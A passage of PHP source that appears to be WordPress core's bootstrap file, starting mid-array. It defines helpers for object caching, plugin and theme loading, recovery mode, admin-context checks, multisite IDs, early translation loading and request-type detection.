'%d', 'object_id' => '%d', 'term_order' => '%d', 'ID' => '%d', 'comment_ID' => '%d', 'comment_post_ID' => '%d', 'comment_parent' => '%d', 'user_id' => '%d', 'link_id' => '%d', 'link_owner' => '%d', 'link_rating' => '%d', 'option_id' => '%d', 'blog_id' => '%d', 'meta_id' => '%d', 'post_id' => '%d', 'user_status' => '%d', 'umeta_id' => '%d', 'comment_karma' => '%d', 'comment_count' => '%d', // Multisite: 'active' => '%d', 'cat_id' => '%d', 'deleted' => '%d', 'lang_id' => '%d', 'mature' => '%d', 'public' => '%d', 'site_id' => '%d', 'spam' => '%d', ); $prefix = $wpdb->set_prefix( $table_prefix ); if ( is_wp_error( $prefix ) ) { wp_load_translations_early(); wp_die( sprintf( /* translators: 1: $table_prefix, 2: wp-config.php */ __( 'Error: %1$s in %2$s can only contain numbers, letters, and underscores.' ), '$table_prefix', 'wp-config.php' ) ); } } /** * Toggle `$_wp_using_ext_object_cache` on and off without directly * touching global. * * @since 3.7.0 * * @global bool $_wp_using_ext_object_cache * * @param bool $using Whether external object cache is being used. * @return bool The current 'using' setting. */ function wp_using_ext_object_cache( $using = null ) { global $_wp_using_ext_object_cache; $current_using = $_wp_using_ext_object_cache; if ( null !== $using ) { $_wp_using_ext_object_cache = $using; } return $current_using; } /** * Start the WordPress object cache. * * If an object-cache.php file exists in the wp-content directory, * it uses that drop-in as an external object cache. * * @since 3.0.0 * @access private * * @global array $wp_filter Stores all of the filters. */ function wp_start_object_cache() { global $wp_filter; static $first_init = true; // Only perform the following checks once. if ( $first_init ) { if ( ! function_exists( 'wp_cache_init' ) ) { /* * This is the normal situation. First-run of this function. No * caching backend has been loaded. * * We try to load a custom caching backend, and then, if it * results in a wp_cache_init() function existing, we note * that an external object cache is being used. */ if ( file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { require_once WP_CONTENT_DIR . '/object-cache.php'; if ( function_exists( 'wp_cache_init' ) ) { wp_using_ext_object_cache( true ); } // Re-initialize any hooks added manually by object-cache.php. if ( $wp_filter ) { $wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter ); } } } elseif ( ! wp_using_ext_object_cache() && file_exists( WP_CONTENT_DIR . '/object-cache.php' ) ) { /* * Sometimes advanced-cache.php can load object-cache.php before * this function is run. This breaks the function_exists() check * above and can result in wp_using_ext_object_cache() returning * false when actually an external cache is in use. */ wp_using_ext_object_cache( true ); } } if ( ! wp_using_ext_object_cache() ) { require_once ABSPATH . WPINC . '/cache.php'; } /* * If cache supports reset, reset instead of init if already * initialized. Reset signals to the cache that global IDs * have changed and it may need to update keys and cleanup caches. */ if ( ! $first_init && function_exists( 'wp_cache_switch_to_blog' ) ) { wp_cache_switch_to_blog( get_current_blog_id() ); } elseif ( function_exists( 'wp_cache_init' ) ) { wp_cache_init(); } if ( function_exists( 'wp_cache_add_global_groups' ) ) { wp_cache_add_global_groups( array( 'users', 'userlogins', 'usermeta', 'user_meta', 'useremail', 'userslugs', 'site-transient', 'site-options', 'blog-lookup', 'blog-details', 'site-details', 'rss', 'global-posts', 'blog-id-cache', 'networks', 'sites', 'blog_meta' ) ); wp_cache_add_non_persistent_groups( array( 'counts', 'plugins' ) ); } $first_init = false; } /** * Redirect to the installer if WordPress is not installed. * * Dies with an error message when Multisite is enabled. * * @since 3.0.0 * @access private */ function wp_not_installed() { if ( is_multisite() ) { if ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); wp_die( __( 'The site you have requested is not installed properly. Please contact the system administrator.' ) ); } } elseif ( ! is_blog_installed() && ! wp_installing() ) { nocache_headers(); require ABSPATH . WPINC . '/kses.php'; require ABSPATH . WPINC . '/pluggable.php'; $link = wp_guess_url() . '/wp-admin/install.php'; wp_redirect( $link ); die(); } } /** * Retrieve an array of must-use plugin files. * * The default directory is wp-content/mu-plugins. To change the default * directory manually, define `WPMU_PLUGIN_DIR` and `WPMU_PLUGIN_URL` * in wp-config.php. * * @since 3.0.0 * @access private * * @return string[] Array of absolute paths of files to include. */ function wp_get_mu_plugins() { $mu_plugins = array(); if ( ! is_dir( WPMU_PLUGIN_DIR ) ) { return $mu_plugins; } $dh = opendir( WPMU_PLUGIN_DIR ); if ( ! $dh ) { return $mu_plugins; } while ( ( $plugin = readdir( $dh ) ) !== false ) { if ( substr( $plugin, -4 ) == '.php' ) { $mu_plugins[] = WPMU_PLUGIN_DIR . '/' . $plugin; } } closedir( $dh ); sort( $mu_plugins ); return $mu_plugins; } /** * Retrieve an array of active and valid plugin files. * * While upgrading or installing WordPress, no plugins are returned. * * The default directory is `wp-content/plugins`. To change the default * directory manually, define `WP_PLUGIN_DIR` and `WP_PLUGIN_URL` * in `wp-config.php`. * * @since 3.0.0 * @access private * * @return string[] $plugin_file Array of paths to plugin files relative to the plugins directory. */ function wp_get_active_and_valid_plugins() { $plugins = array(); $active_plugins = (array) get_option( 'active_plugins', array() ); // Check for hacks file if the option is enabled. if ( get_option( 'hack_file' ) && file_exists( ABSPATH . 'my-hacks.php' ) ) { _deprecated_file( 'my-hacks.php', '1.5.0' ); array_unshift( $plugins, ABSPATH . 'my-hacks.php' ); } if ( empty( $active_plugins ) || wp_installing() ) { return $plugins; } $network_plugins = is_multisite() ? wp_get_active_network_plugins() : false; foreach ( $active_plugins as $plugin ) { if ( ! validate_file( $plugin ) // $plugin must validate as file. && '.php' == substr( $plugin, -4 ) // $plugin must end with '.php'. && file_exists( WP_PLUGIN_DIR . '/' . $plugin ) // $plugin must exist. // Not already included as a network plugin. && ( ! $network_plugins || ! in_array( WP_PLUGIN_DIR . '/' . $plugin, $network_plugins ) ) ) { $plugins[] = WP_PLUGIN_DIR . '/' . $plugin; } } /* * Remove plugins from the list of active plugins when we're on an endpoint * that should be protected against WSODs and the plugin is paused. */ if ( wp_is_recovery_mode() ) { $plugins = wp_skip_paused_plugins( $plugins ); } return $plugins; } /** * Filters a given list of plugins, removing any paused plugins from it. * * @since 5.2.0 * * @param string[] $plugins Array of absolute plugin main file paths. * @return string[] Filtered array of plugins, without any paused plugins. */ function wp_skip_paused_plugins( array $plugins ) { $paused_plugins = wp_paused_plugins()->get_all(); if ( empty( $paused_plugins ) ) { return $plugins; } foreach ( $plugins as $index => $plugin ) { list( $plugin ) = explode( '/', plugin_basename( $plugin ) ); if ( array_key_exists( $plugin, $paused_plugins ) ) { unset( $plugins[ $index ] ); // Store list of paused plugins for displaying an admin notice. $GLOBALS['_paused_plugins'][ $plugin ] = $paused_plugins[ $plugin ]; } } return $plugins; } /** * Retrieves an array of active and valid themes. * * While upgrading or installing WordPress, no themes are returned. * * @since 5.1.0 * @access private * * @return string[] Array of absolute paths to theme directories. */ function wp_get_active_and_valid_themes() { global $pagenow; $themes = array(); if ( wp_installing() && 'wp-activate.php' !== $pagenow ) { return $themes; } if ( TEMPLATEPATH !== STYLESHEETPATH ) { $themes[] = STYLESHEETPATH; } $themes[] = TEMPLATEPATH; /* * Remove themes from the list of active themes when we're on an endpoint * that should be protected against WSODs and the theme is paused. */ if ( wp_is_recovery_mode() ) { $themes = wp_skip_paused_themes( $themes ); // If no active and valid themes exist, skip loading themes. if ( empty( $themes ) ) { add_filter( 'wp_using_themes', '__return_false' ); } } return $themes; } /** * Filters a given list of themes, removing any paused themes from it. * * @since 5.2.0 * * @param string[] $themes Array of absolute theme directory paths. * @return string[] Filtered array of absolute paths to themes, without any paused themes. */ function wp_skip_paused_themes( array $themes ) { $paused_themes = wp_paused_themes()->get_all(); if ( empty( $paused_themes ) ) { return $themes; } foreach ( $themes as $index => $theme ) { $theme = basename( $theme ); if ( array_key_exists( $theme, $paused_themes ) ) { unset( $themes[ $index ] ); // Store list of paused themes for displaying an admin notice. $GLOBALS['_paused_themes'][ $theme ] = $paused_themes[ $theme ]; } } return $themes; } /** * Is WordPress in Recovery Mode. * * In this mode, plugins or themes that cause WSODs will be paused. * * @since 5.2.0 * * @return bool */ function wp_is_recovery_mode() { return wp_recovery_mode()->is_active(); } /** * Determines whether we are currently on an endpoint that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current endpoint should be protected. */ function is_protected_endpoint() { // Protect login pages. if ( isset( $GLOBALS['pagenow'] ) && 'wp-login.php' === $GLOBALS['pagenow'] ) { return true; } // Protect the admin backend. if ( is_admin() && ! wp_doing_ajax() ) { return true; } // Protect AJAX actions that could help resolve a fatal error should be available. if ( is_protected_ajax_action() ) { return true; } /** * Filters whether the current request is against a protected endpoint. * * This filter is only fired when an endpoint is requested which is not already protected by * WordPress core. As such, it exclusively allows providing further protected endpoints in * addition to the admin backend, login pages and protected AJAX actions. * * @since 5.2.0 * * @param bool $is_protected_endpoint Whether the currently requested endpoint is protected. Default false. */ return (bool) apply_filters( 'is_protected_endpoint', false ); } /** * Determines whether we are currently handling an AJAX action that should be protected against WSODs. * * @since 5.2.0 * * @return bool True if the current AJAX action should be protected. */ function is_protected_ajax_action() { if ( ! wp_doing_ajax() ) { return false; } if ( ! isset( $_REQUEST['action'] ) ) { return false; } $actions_to_protect = array( 'edit-theme-plugin-file', // Saving changes in the core code editor. 'heartbeat', // Keep the heart beating. 'install-plugin', // Installing a new plugin. 'install-theme', // Installing a new theme. 'search-plugins', // Searching in the list of plugins. 'search-install-plugins', // Searching for a plugin in the plugin install screen. 'update-plugin', // Update an existing plugin. 'update-theme', // Update an existing theme. ); /** * Filters the array of protected AJAX actions. * * This filter is only fired when doing AJAX and the AJAX request has an 'action' property. * * @since 5.2.0 * * @param string[] $actions_to_protect Array of strings with AJAX actions to protect. */ $actions_to_protect = (array) apply_filters( 'wp_protected_ajax_actions', $actions_to_protect ); if ( ! in_array( $_REQUEST['action'], $actions_to_protect, true ) ) { return false; } return true; } /** * Set internal encoding. * * In most cases the default internal encoding is latin1, which is * of no use, since we want to use the `mb_` functions for `utf-8` strings. * * @since 3.0.0 * @access private */ function wp_set_internal_encoding() { if ( function_exists( 'mb_internal_encoding' ) ) { $charset = get_option( 'blog_charset' ); // phpcs:ignore WordPress.PHP.NoSilencedErrors.Discouraged if ( ! $charset || ! @mb_internal_encoding( $charset ) ) { mb_internal_encoding( 'UTF-8' ); } } } /** * Add magic quotes to `$_GET`, `$_POST`, `$_COOKIE`, and `$_SERVER`. * * Also forces `$_REQUEST` to be `$_GET + $_POST`. If `$_SERVER`, * `$_COOKIE`, or `$_ENV` are needed, use those superglobals directly. * * @since 3.0.0 * @access private */ function wp_magic_quotes() { // Escape with wpdb. $_GET = add_magic_quotes( $_GET ); $_POST = add_magic_quotes( $_POST ); $_COOKIE = add_magic_quotes( $_COOKIE ); $_SERVER = add_magic_quotes( $_SERVER ); /* * Revert the type change to string for two indexes which should retain their proper type. * Among other things, this preserves compatibility of WP with PHPUnit Code Coverage generation. */ if ( isset( $_SERVER['REQUEST_TIME'] ) ) { $_SERVER['REQUEST_TIME'] = (int) $_SERVER['REQUEST_TIME']; } if ( isset( $_SERVER['REQUEST_TIME_FLOAT'] ) ) { $_SERVER['REQUEST_TIME_FLOAT'] = (float) $_SERVER['REQUEST_TIME_FLOAT']; } // Force REQUEST to be GET + POST. $_REQUEST = array_merge( $_GET, $_POST ); } /** * Runs just before PHP shuts down execution. * * @since 1.2.0 * @access private */ function shutdown_action_hook() { /** * Fires just before PHP shuts down execution. * * @since 1.2.0 */ do_action( 'shutdown' ); wp_cache_close(); } /** * Copy an object. * * @since 2.7.0 * @deprecated 3.2.0 * * @param object $object The object to clone. * @return object The cloned object. */ function wp_clone( $object ) { // Use parens for clone to accommodate PHP 4. See #17880. return clone( $object ); } /** * Determines whether the current request is for an administrative interface page. * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * For more information on this and similar theme functions, check out * the {@link https://developer.wordpress.org/themes/basics/conditional-tags/ * Conditional Tags} article in the Theme Developer Handbook. * * @since 1.5.1 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress administration interface, false otherwise. */ function is_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin(); } elseif ( defined( 'WP_ADMIN' ) ) { return WP_ADMIN; } return false; } /** * Whether the current request is for a site's administrative interface. * * e.g. `/wp-admin/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress blog administration pages. */ function is_blog_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'site' ); } elseif ( defined( 'WP_BLOG_ADMIN' ) ) { return WP_BLOG_ADMIN; } return false; } /** * Whether the current request is for the network administrative interface. * * e.g. `/wp-admin/network/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * Does not check if the site is a Multisite network; use is_multisite() * for checking if Multisite is enabled. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress network administration pages. */ function is_network_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'network' ); } elseif ( defined( 'WP_NETWORK_ADMIN' ) ) { return WP_NETWORK_ADMIN; } return false; } /** * Whether the current request is for a user admin screen. * * e.g. `/wp-admin/user/` * * Does not check if the user is an administrator; use current_user_can() * for checking roles and capabilities. * * @since 3.1.0 * * @global WP_Screen $current_screen WordPress current screen object. * * @return bool True if inside WordPress user administration pages. */ function is_user_admin() { if ( isset( $GLOBALS['current_screen'] ) ) { return $GLOBALS['current_screen']->in_admin( 'user' ); } elseif ( defined( 'WP_USER_ADMIN' ) ) { return WP_USER_ADMIN; } return false; } /** * If Multisite is enabled. * * @since 3.0.0 * * @return bool True if Multisite is enabled, false otherwise. */ function is_multisite() { if ( defined( 'MULTISITE' ) ) { return MULTISITE; } if ( defined( 'SUBDOMAIN_INSTALL' ) || defined( 'VHOST' ) || defined( 'SUNRISE' ) ) { return true; } return false; } /** * Retrieve the current site ID. * * @since 3.1.0 * * @global int $blog_id * * @return int Site ID. */ function get_current_blog_id() { global $blog_id; return absint( $blog_id ); } /** * Retrieves the current network ID. * * @since 4.6.0 * * @return int The ID of the current network. */ function get_current_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( ! isset( $current_network->id ) ) { return get_main_network_id(); } return absint( $current_network->id ); } /** * Attempt an early load of translations. * * Used for errors encountered during the initial loading process, before * the locale has been properly detected and loaded. * * Designed for unusual load sequences (like setup-config.php) or for when * the script will then terminate with an error, otherwise there is a risk * that a file can be double-included. * * @since 3.4.0 * @access private * * @global WP_Locale $wp_locale WordPress date and time locale object. * * @staticvar bool $loaded */ function wp_load_translations_early() { global $wp_locale; static $loaded = false; if ( $loaded ) { return; } $loaded = true; if ( function_exists( 'did_action' ) && did_action( 'init' ) ) { return; } // We need $wp_local_package. require ABSPATH . WPINC . '/version.php'; // Translation and localization. require_once ABSPATH . WPINC . '/pomo/mo.php'; require_once ABSPATH . WPINC . '/l10n.php'; require_once ABSPATH . WPINC . '/class-wp-locale.php'; require_once ABSPATH . WPINC . '/class-wp-locale-switcher.php'; // General libraries. require_once ABSPATH . WPINC . '/plugin.php'; $locales = array(); $locations = array(); while ( true ) { if ( defined( 'WPLANG' ) ) { if ( '' == WPLANG ) { break; } $locales[] = WPLANG; } if ( isset( $wp_local_package ) ) { $locales[] = $wp_local_package; } if ( ! $locales ) { break; } if ( defined( 'WP_LANG_DIR' ) && @is_dir( WP_LANG_DIR ) ) { $locations[] = WP_LANG_DIR; } if ( defined( 'WP_CONTENT_DIR' ) && @is_dir( WP_CONTENT_DIR . '/languages' ) ) { $locations[] = WP_CONTENT_DIR . '/languages'; } if ( @is_dir( ABSPATH . 'wp-content/languages' ) ) { $locations[] = ABSPATH . 'wp-content/languages'; } if ( @is_dir( ABSPATH . WPINC . '/languages' ) ) { $locations[] = ABSPATH . WPINC . '/languages'; } if ( ! $locations ) { break; } $locations = array_unique( $locations ); foreach ( $locales as $locale ) { foreach ( $locations as $location ) { if ( file_exists( $location . '/' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/' . $locale . '.mo' ); if ( defined( 'WP_SETUP_CONFIG' ) && file_exists( $location . '/admin-' . $locale . '.mo' ) ) { load_textdomain( 'default', $location . '/admin-' . $locale . '.mo' ); } break 2; } } } break; } $wp_locale = new WP_Locale(); } /** * Check or set whether WordPress is in "installation" mode. * * If the `WP_INSTALLING` constant is defined during the bootstrap, `wp_installing()` will default to `true`. * * @since 4.4.0 * * @staticvar bool $installing * * @param bool $is_installing Optional. True to set WP into Installing mode, false to turn Installing mode off. * Omit this parameter if you only want to fetch the current status. * @return bool True if WP is installing, otherwise false. When a `$is_installing` is passed, the function will * report whether WP was in installing mode prior to the change to `$is_installing`. */ function wp_installing( $is_installing = null ) { static $installing = null; // Support for the `WP_INSTALLING` constant, defined before WP is loaded. if ( is_null( $installing ) ) { $installing = defined( 'WP_INSTALLING' ) && WP_INSTALLING; } if ( ! is_null( $is_installing ) ) { $old_installing = $installing; $installing = $is_installing; return (bool) $old_installing; } return (bool) $installing; } /** * Determines if SSL is used. * * @since 2.6.0 * @since 4.6.0 Moved from functions.php to load.php. * * @return bool True if SSL, otherwise false. */ function is_ssl() { if ( isset( $_SERVER['HTTPS'] ) ) { if ( 'on' == strtolower( $_SERVER['HTTPS'] ) ) { return true; } if ( '1' == $_SERVER['HTTPS'] ) { return true; } } elseif ( isset( $_SERVER['SERVER_PORT'] ) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { return true; } return false; } /** * Converts a shorthand byte value to an integer byte value. * * @since 2.3.0 * @since 4.6.0 Moved from media.php to load.php. * * @link https://www.php.net/manual/en/function.ini-get.php * @link https://www.php.net/manual/en/faq.using.php#faq.using.shorthandbytes * * @param string $value A (PHP ini) byte value, either shorthand or ordinary. * @return int An integer byte value. */ function wp_convert_hr_to_bytes( $value ) { $value = strtolower( trim( $value ) ); $bytes = (int) $value; if ( false !== strpos( $value, 'g' ) ) { $bytes *= GB_IN_BYTES; } elseif ( false !== strpos( $value, 'm' ) ) { $bytes *= MB_IN_BYTES; } elseif ( false !== strpos( $value, 'k' ) ) { $bytes *= KB_IN_BYTES; } // Deal with large (float) values which run into the maximum integer size. return min( $bytes, PHP_INT_MAX ); } /** * Determines whether a PHP ini value is changeable at runtime. * * @since 4.6.0 * * @staticvar array $ini_all * * @link https://www.php.net/manual/en/function.ini-get-all.php * * @param string $setting The name of the ini setting to check. * @return bool True if the value is changeable at runtime. False otherwise. */ function wp_is_ini_value_changeable( $setting ) { static $ini_all; if ( ! isset( $ini_all ) ) { $ini_all = false; // Sometimes `ini_get_all()` is disabled via the `disable_functions` option for "security purposes". if ( function_exists( 'ini_get_all' ) ) { $ini_all = ini_get_all(); } } // Bit operator to workaround https://bugs.php.net/bug.php?id=44936 which changes access level to 63 in PHP 5.2.6 - 5.2.17. if ( isset( $ini_all[ $setting ]['access'] ) && ( INI_ALL === ( $ini_all[ $setting ]['access'] & 7 ) || INI_USER === ( $ini_all[ $setting ]['access'] & 7 ) ) ) { return true; } // If we were unable to retrieve the details, fail gracefully to assume it's changeable. if ( ! is_array( $ini_all ) ) { return true; } return false; } /** * Determines whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @return bool True if it's a WordPress Ajax request, false otherwise. */ function wp_doing_ajax() { /** * Filters whether the current request is a WordPress Ajax request. * * @since 4.7.0 * * @param bool $wp_doing_ajax Whether the current request is a WordPress Ajax request. */ return apply_filters( 'wp_doing_ajax', defined( 'DOING_AJAX' ) && DOING_AJAX ); } /** * Determines whether the current request should use themes. * * @since 5.1.0 * * @return bool True if themes should be used, false otherwise. */ function wp_using_themes() { /** * Filters whether the current request should use themes. * * @since 5.1.0 * * @param bool $wp_using_themes Whether the current request should use themes. */ return apply_filters( 'wp_using_themes', defined( 'WP_USE_THEMES' ) && WP_USE_THEMES ); } /** * Determines whether the current request is a WordPress cron request. * * @since 4.8.0 * * @return bool True if it's a WordPress cron request, false otherwise. */ function wp_doing_cron() { /** * Filters whether the current request is a WordPress cron request. * * @since 4.8.0 * * @param bool $wp_doing_cron Whether the current request is a WordPress cron request. */ return apply_filters( 'wp_doing_cron', defined( 'DOING_CRON' ) && DOING_CRON ); } /** * Check whether variable is a WordPress Error. * * Returns true if $thing is an object of the WP_Error class. * * @since 2.1.0 * * @param mixed $thing Check if unknown variable is a WP_Error object. * @return bool True, if WP_Error. False, if not WP_Error. */ function is_wp_error( $thing ) { return ( $thing instanceof WP_Error ); } /** * Determines whether file modifications are allowed. * * @since 4.8.0 * * @param string $context The usage context. * @return bool True if file modification is allowed, false otherwise. */ function wp_is_file_mod_allowed( $context ) { /** * Filters whether file modifications are allowed. * * @since 4.8.0 * * @param bool $file_mod_allowed Whether file modifications are allowed. * @param string $context The usage context. */ return apply_filters( 'file_mod_allowed', ! defined( 'DISALLOW_FILE_MODS' ) || ! DISALLOW_FILE_MODS, $context ); } /** * Start scraping edited file errors. * * @since 4.9.0 */ function wp_start_scraping_edited_file_errors() { if ( ! isset( $_REQUEST['wp_scrape_key'] ) || ! isset( $_REQUEST['wp_scrape_nonce'] ) ) { return; } $key = substr( sanitize_key( wp_unslash( $_REQUEST['wp_scrape_key'] ) ), 0, 32 ); $nonce = wp_unslash( $_REQUEST['wp_scrape_nonce'] ); if ( get_transient( 'scrape_key_' . $key ) !== $nonce ) { echo "###### wp_scraping_result_start:$key ######"; echo wp_json_encode( array( 'code' => 'scrape_nonce_failure', 'message' => __( 'Scrape nonce check failed. Please try again.' ), ) ); echo "###### wp_scraping_result_end:$key ######"; die(); } if ( ! defined( 'WP_SANDBOX_SCRAPING' ) ) { define( 'WP_SANDBOX_SCRAPING', true ); } register_shutdown_function( 'wp_finalize_scraping_edited_file_errors', $key ); } /** * Finalize scraping for edited file errors. * * @since 4.9.0 * * @param string $scrape_key Scrape key. */ function wp_finalize_scraping_edited_file_errors( $scrape_key ) { $error = error_get_last(); echo "\n###### wp_scraping_result_start:$scrape_key ######\n"; if ( ! empty( $error ) && in_array( $error['type'], array( E_CORE_ERROR, E_COMPILE_ERROR, E_ERROR, E_PARSE, E_USER_ERROR, E_RECOVERABLE_ERROR ), true ) ) { $error = str_replace( ABSPATH, '', $error ); echo wp_json_encode( $error ); } else { echo wp_json_encode( true ); } echo "\n###### wp_scraping_result_end:$scrape_key ######\n"; } /** * Checks whether current request is a JSON request, or is expecting a JSON response. * * @since 5.0.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `application/json`. * False otherwise. */ function wp_is_json_request() { if ( isset( $_SERVER['HTTP_ACCEPT'] ) && false !== strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) ) { return true; } if ( isset( $_SERVER['CONTENT_TYPE'] ) && 'application/json' === $_SERVER['CONTENT_TYPE'] ) { return true; } return false; } /** * Checks whether current request is a JSONP request, or is expecting a JSONP response. * * @since 5.2.0 * * @return bool True if JSONP request, false otherwise. */ function wp_is_jsonp_request() { if ( ! isset( $_GET['_jsonp'] ) ) { return false; } if ( ! function_exists( 'wp_check_jsonp_callback' ) ) { require_once ABSPATH . WPINC . '/functions.php'; } $jsonp_callback = $_GET['_jsonp']; if ( ! wp_check_jsonp_callback( $jsonp_callback ) ) { return false; } /** This filter is documented in wp-includes/rest-api/class-wp-rest-server.php */ $jsonp_enabled = apply_filters( 'rest_jsonp_enabled', true ); return $jsonp_enabled; } /** * Checks whether current request is an XML request, or is expecting an XML response. * * @since 5.2.0 * * @return bool True if `Accepts` or `Content-Type` headers contain `text/xml` * or one of the related MIME types. False otherwise. */ function wp_is_xml_request() { $accepted = array( 'text/xml', 'application/rss+xml', 'application/atom+xml', 'application/rdf+xml', 'text/xml+oembed', 'application/xml+oembed', ); if ( isset( $_SERVER['HTTP_ACCEPT'] ) ) { foreach ( $accepted as $type ) { if ( false !== strpos( $_SERVER['HTTP_ACCEPT'], $type ) ) { return true; } } } if ( isset( $_SERVER['CONTENT_TYPE'] ) && in_array( $_SERVER['CONTENT_TYPE'], $accepted, true ) ) { return true; } return false; }